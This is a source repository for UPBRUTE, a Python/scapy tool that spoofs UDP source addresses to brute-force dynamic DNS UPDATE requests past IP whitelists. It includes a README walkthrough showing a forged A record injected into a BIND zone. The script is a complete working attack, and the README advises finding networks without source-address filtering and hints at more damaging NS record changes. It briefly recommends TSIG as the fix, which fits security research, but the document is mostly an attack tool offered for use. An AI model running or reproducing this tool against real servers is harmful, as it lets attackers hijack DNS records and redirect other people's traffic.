├── README.md └── upbrute.py /README.md: -------------------------------------------------------------------------------- 1 | # UPBRUTE 2 | ``` 3 | ::: ::: ::::::::: ::::::::: ::::::::: ::: ::: ::::::::::: :::::::::: 4 | :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: 5 | +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ 6 | +#+ +:+ +#++:++#+ +#++:++#+ +#++:++#: +#+ +:+ +#+ +#++:++# 7 | +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ 8 | #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# 9 | ######## ### ######### ### ### ######## ### ########## 10 | 11 | Dynamic DNS Update Bruteforce Tool 12 | ``` 13 | 14 | ## Dynamic DNS Update Bruteforce Tool 15 | A tool to bypass IP whitelists for [dynamic updates of a DNS zone](https://tools.ietf.org/html/rfc2136). Performs UDP source address spoofing to bypass IP whitelists which specify who is allowed to update an authoratative zone. Since UDP is a connectionless protocol and all packets are "self-contained", spoofing IP addresses in packets possible when performed via networks that don't employ source address validation. 16 | 17 | ## Source Address Validation...? 18 | Source address validation, [BCP38](http://www.bcp38.info/index.php/Main_Page), [RFC2827](https://tools.ietf.org/html/rfc2827.html), or whatever you'd like to call it can be summarized as the act of validating packets leaving your network to ensure they are coming from IP addresses that your network advertises. For example, if your network advertises/owns an IP range of `69.252.0.0 - 69.252.127.255` and someone in your datacenter attempts to send a packet with a source address of `93.184.216.34` the correct response would be to immediately drop that packet instead of routing it. Since there is no reason for a packet with a foreign source address to be leaving your network you can immediately stop this spoofing at the beggining of this journey. Failure to do so leaves your network open to abuse as attackers will often abuse this lack of validation to do tricks like [DNS amplification](https://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack/). 19 | 20 | This is important because this exact validation will stop `UPBRUTE` from working properly when it's being used against a remote Internet host. In order to properly use this tool you will need to be on a network that does not perform this verification. This is the case on many internal networks (e.g. the host you're targeting is also on the internal network) and can also be found on the general Internet with a little bit of careful searching. Consider the ethical implications of paying for this type of hosting during this process. 21 | 22 | Despite this, I believe having this tool is important as it puts the final nail in the coffin to show that you should **never** enable IP whitelisting for DNS updates. Consider using [Secret Key Transaction Authentication for DNS (TSIG)](https://blog.hqcodeshop.fi/archives/76-Doing-secure-dynamic-DNS-updates-with-BIND.html) instead. 23 | 24 | ## Example IP Whitelist Bypass Usage 25 | The following is an example Bind configuration that would be vulnerable to this tool: 26 | 27 | ```bind 28 | zone "example.com" IN { 29 | type master; 30 | file "/etc/bind/zones/db.example.com"; 31 | allow-update { 10.0.2.123; }; 32 | }; 33 | ``` 34 | 35 | Since DNS UPDATEs occur via UDP and don't require a handshake to complete they are trivial to spoof source address information for. `UPBRUTE` sends spoofed DNS UPDATE queries from a range of IP addresses in order to force a remote DNS server to update its internal zone. Following the above example configuration you could force an update of the zone by running the following command: 36 | 37 | ``` 38 | $ ./upbrute.py --target 192.168.2.160 -r 10.0.0.0/8 --rrname pwned.example.com. --rrdata 137.137.137.137 --rrtype A -z example.com. --rrttl 60 -b 20000 39 | ``` 40 | 41 | The above command specifies that the Bind DNS server is located at `192.168.2.120` and that we wish to send DNS UPDATE requests from the IP range `10.0.0.0/8`. We're attempting to update/add the `A` record `pwned.example.com` and set it to the IP `137.137.137.137`. 42 | 43 | To start, we will verify that the record does not exist first with the `dig` command line DNS tool: 44 | 45 | ```bash 46 | $ dig A pwned.example.com @192.168.2.160 47 | 48 | ; <<>> DiG 9.8.3-P1 <<>> A pwned.example.com @192.168.2.160 49 | ;; global options: +cmd 50 | ;; Got answer: 51 | ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 38187 52 | ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 53 | ;; WARNING: recursion requested but not available 54 | 55 | ;; QUESTION SECTION: 56 | ;pwned.example.com. IN A 57 | 58 | ;; AUTHORITY SECTION: 59 | example.com. 10800 IN SOA ns1.example.com. hostmaster.example.com. 2017012620 10800 15 604800 10800 60 | 61 | ;; Query time: 14 msec 62 | ;; SERVER: 192.168.2.160#53(192.168.2.160) 63 | ;; WHEN: Tue Feb 7 20:10:01 2017 64 | ;; MSG SIZE rcvd: 86 65 | ``` 66 | 67 | Now we use `UPBRUTE` to send spoofed DNS UPDATE requests from the entire `10.0.0.0/8` range with the following command: 68 | 69 | ``` 70 | $ ./upbrute.py --target 192.168.2.160 -r 10.0.0.0/8 --rrname pwned.example.com. --rrdata 137.137.137.137 --rrtype A -z example.com. --rrttl 60 -b 20000 71 | 72 | 73 | ::: ::: ::::::::: ::::::::: ::::::::: ::: ::: ::::::::::: :::::::::: 74 | :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: 75 | +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ 76 | +#+ +:+ +#++:++#+ +#++:++#+ +#++:++#: +#+ +:+ +#+ +#++:++# 77 | +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ 78 | #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# 79 | ######## ### ######### ### ### ######## ### ########## 80 | 81 | Dynamic DNS Update Bruteforce Tool 82 | 83 | [ STATUS ] Beginning DNS UPDATE bruteforce from range of 10.0.0.0/8 84 | [ STATUS ] Loading up memory buffer with packet data... 85 | [ STATUS ] Sending spoofed DNS UPDATE packets from range 10.0.0.0-10.0.78.31 to target 192.168.2.160... 86 | [ STATUS ] Complete, all packets sent to target! Clearing buffer and continuing... 87 | [ STATUS ] Sent 20000 packets in 43.05 seconds ~464.55/pps! 88 | [ STATUS ] Sending spoofed DNS UPDATE packets from range 10.0.78.32-10.0.156.63 to target 192.168.2.160... 89 | [ STATUS ] Complete, all packets sent to target! Clearing buffer and continuing... 90 | [ STATUS ] Sent 20000 packets in 36.83 seconds ~543.01/pps! 91 | [ STATUS ] Sending spoofed DNS UPDATE packets from range 10.0.156.64-10.0.234.95 to target 192.168.2.160... 92 | [ STATUS ] Complete, all packets sent to target! Clearing buffer and continuing... 93 | [ STATUS ] Sent 20000 packets in 34.76 seconds ~575.34/pps! 94 | [ STATUS ] Sending spoofed DNS UPDATE packets from range 10.0.234.96-10.1.56.127 to target 192.168.2.160... 95 | [ STATUS ] Complete, all packets sent to target! Clearing buffer and continuing... 96 | [ STATUS ] Sent 20000 packets in 35.03 seconds ~570.9/pps! 97 | [ STATUS ] Sending spoofed DNS UPDATE packets from range 10.1.56.128-10.1.134.159 to target 192.168.2.160... 98 | ...trimmed for brevity... 99 | ``` 100 | 101 | After a few minutes we've successfully sent all of our DNS UPDATE requests to our target. We can verify that we have successfully update the remote record with the `dig` command line tool once again: 102 | 103 | ``` 104 | $ dig A pwned.example.com @192.168.2.160 105 | 106 | ; <<>> DiG 9.8.3-P1 <<>> A pwned.example.com @192.168.2.160 107 | ;; global options: +cmd 108 | ;; Got answer: 109 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4038 110 | ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 111 | ;; WARNING: recursion requested but not available 112 | 113 | ;; QUESTION SECTION: 114 | ;pwned.example.com. IN A 115 | 116 | ;; ANSWER SECTION: 117 | pwned.example.com. 60 IN A 137.137.137.137 118 | 119 | ;; AUTHORITY SECTION: 120 | example.com. 86400 IN NS ns1.example.com. 121 | example.com. 86400 IN NS ns2.example.com. 122 | 123 | ;; ADDITIONAL SECTION: 124 | ns1.example.com. 86400 IN A 192.168.2.160 125 | ns2.example.com. 86400 IN A 192.168.2.160 126 | 127 | ;; Query time: 11 msec 128 | ;; SERVER: 192.168.2.160#53(192.168.2.160) 129 | ;; WHEN: Tue Feb 7 20:14:58 2017 130 | ;; MSG SIZE rcvd: 119 131 | 132 | ``` 133 | 134 | Success! The remote record has been updated. While this is a trivial example, I'm sure you could imagine a much more dangerous record update which could be performed (such as, `NS`, for example). This attack can be combined with [`JudasDNS`](https://github.com/mandatoryprogrammer/JudasDNS) for some even more fun. 135 | 136 | ## TODO 137 | 138 | * Add additional functionality to detect the correct source IP address which was successful in updating the remote target zone. -------------------------------------------------------------------------------- /upbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import time 4 | import argparse 5 | 6 | from scapy.all import * 7 | from netaddr import IPNetwork 8 | 9 | # http://stackoverflow.com/a/287944/1195812 10 | class bcolors: 11 | HEADER = "\033[95m" 12 | OKBLUE = "\033[94m" 13 | OKGREEN = "\033[92m" 14 | WARNING = "\033[93m" 15 | FAIL = "\033[91m" 16 | ENDC = "\033[0m" 17 | BOLD = "\033[1m" 18 | UNDERLINE = "\033[4m" 19 | 20 | def statusmsg( msg, mtype = "status" ): 21 | """ 22 | Status messages 23 | """ 24 | if mtype == "status": 25 | print( "[ STATUS ] " + msg ) 26 | elif mtype == "warning": 27 | print( bcolors.WARNING + "[ WARNING ] " + msg + bcolors.ENDC ) 28 | elif mtype == "error": 29 | print( bcolors.FAIL + "[ ERROR ] " + msg + bcolors.ENDC ) 30 | elif mtype == "success": 31 | print( bcolors.OKGREEN + "[ SUCCESS ] " + msg + bcolors.ENDC ) 32 | 33 | def spray_target( target_ip, spoof_ip_range, zone, rrname, rrdata, rrtype, rrttl ): 34 | packet_list = [] 35 | statusmsg( "Beginning DNS UPDATE bruteforce from range of " + spoof_ip_range ) 36 | statusmsg( "Loading up memory buffer with packet data..." ) 37 | for source_ip in IPNetwork( spoof_ip_range ): 38 | packet = ( 39 | IP( 40 | dst=target_ip, 41 | src=str( source_ip ) 42 | )/ 43 | UDP( 44 | dport=53 45 | )/ 46 | DNS( 47 | opcode=5, 48 | rd=0, 49 | qd=DNSQR( 50 | qname=zone, 51 | qtype="SOA", 52 | ), 53 | ns=[DNSRR( 54 | type=rrtype, 55 | ttl=int( rrttl ), 56 | rrname=rrname, 57 | rdata=rrdata 58 | )] 59 | ) 60 | ) 61 | 62 | packet_list.append( packet ) 63 | 64 | if len( packet_list ) >= BUFFER_SIZE: 65 | statusmsg( "Sending spoofed DNS UPDATE packets from range " + str( packet_list[ 0 ].src ) + "-" + str( packet_list[ -1 ].src ) + " to target " + target_ip + "..." ) 66 | start_time = time.time() 67 | send( packet_list, verbose=False ) 68 | end_time = time.time() 69 | statusmsg( "Complete, all packets sent to target! Clearing buffer and continuing..." ) 70 | packet_send_time_total = str( round( ( end_time - start_time ), 2 ) ) 71 | packet_per_second = str( round( ( len( packet_list ) / ( end_time - start_time ) ), 2 ) ) 72 | statusmsg( "Sent " + str( len( packet_list ) ) + " packets in " + packet_send_time_total + " seconds ~" + packet_per_second + "/pps!" ) 73 | packet_list = [] 74 | 75 | start_time = time.time() 76 | statusmsg( "Sending spoofed DNS UPDATE packets from range " + str( packet_list[ 0 ].src ) + "-" + str( packet_list[ -1 ].src ) + " to target " + target_ip + "..." ) 77 | send( packet_list, verbose=False ) # Send the last of the packets 78 | end_time = time.time() 79 | packet_send_time_total = str( round( ( end_time - start_time ), 2 ) ) 80 | packet_per_second = str( round( ( len( packet_list ) / ( end_time - start_time ) ), 2 ) ) 81 | statusmsg( "Sent " + str( len( packet_list ) ) + " packets in " + packet_send_time_total + " seconds ~" + packet_per_second + "/pps!" ) 82 | statusmsg( "Completed DNS UPDATE bruteforce from entire " + spoof_ip_range + " range!" ) 83 | 84 | def spray_from_all_internal_ips( target_ip, zone, rrname, rrdata, rrtype, rrttl ): 85 | spray_target( target_ip, "192.168.0.0/16", zone, rrname, rrdata, rrtype, rrttl ) 86 | spray_target( target_ip, "172.16.0.0/12", zone, rrname, rrdata, rrtype, rrttl ) 87 | spray_target( target_ip, "10.0.0.0/8", zone, rrname, rrdata, rrtype, rrttl ) 88 | 89 | if __name__ == "__main__": 90 | parser = argparse.ArgumentParser( description="Force a dynamic DNS UPDATE via bruteforcing source IPs!" ) 91 | parser.add_argument("-sl", "--silence", dest="silence", action="store_true", help="Don't print the logo." ) 92 | parser.add_argument("-p", "--private", dest="private_brute", action="store_true", help="Bruteforce updates with source IPs from all RFC 1918 IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)" ) 93 | parser.add_argument("-b", "--buffer", dest="buffer", help="Buffer size in packets, set as high as possible given your system's available RAM for max speed.", required=False ) 94 | parser.add_argument("-r", "--range", dest="brute_range", help="IP range to bruteforce DNS UPDATE attempts from (e.g. 52.1.1.1/28)" ) 95 | parser.add_argument("-t", "--target", dest="target_ip", help="Target IP address of the server to be bruteforced.", required=True ) 96 | parser.add_argument("-rrn", "--rrname", dest="rrname", help="Remote resource record name (e.g. subdomain.example.com)", required=True ) 97 | parser.add_argument("-rrd", "--rrdata", dest="rrdata", help="Remote resource record data (e.g. 127.0.0.1, external.fqdn.com.)", required=True ) 98 | parser.add_argument("-rrt", "--rrtype", dest="rrtype", help="Remote resource record type (e.g. A, CNAME, TXT, SOA)", required=True ) 99 | parser.add_argument("-ttl", "--rrttl", dest="rrttl", help="Remote resource record TTL value in seconds (e.g. 120, 3600)" ) 100 | parser.add_argument("-z", "--zone", dest="zone", help="Remote zone of the target (e.g. example.com)", required=True ) 101 | args = parser.parse_args() 102 | 103 | if not args.silence: 104 | print(""" 105 | ::: ::: ::::::::: ::::::::: ::::::::: ::: ::: ::::::::::: :::::::::: 106 | :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: 107 | +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ 108 | +#+ +:+ +#++:++#+ +#++:++#+ +#++:++#: +#+ +:+ +#+ +#++:++# 109 | +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ 110 | #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# 111 | ######## ### ######### ### ### ######## ### ########## 112 | 113 | Dynamic DNS Update Bruteforce Tool 114 | """) 115 | 116 | # Set TTL if not explictly set 117 | if not args.rrttl: 118 | args.rrttl = 60 119 | 120 | # Set buffer if not explictly set 121 | if not args.buffer: 122 | statusmsg( "No buffer size specified, setting a buffer of 1K packets by default!") 123 | args.buffer = ( 1 * 1000 ) 124 | BUFFER_SIZE = int( args.buffer ) 125 | 126 | if args.private_brute: 127 | spray_from_all_internal_ips( args.target_ip, args.zone, args.rrname, args.rrdata, args.rrtype, args.rrttl ) 128 | elif args.brute_range: 129 | spray_target( args.target_ip, args.brute_range, args.zone, args.rrname, args.rrdata, args.rrtype, args.rrttl ) 130 | else: 131 | print( "No available scan selected!" ) 132 | --------------------------------------------------------------------------------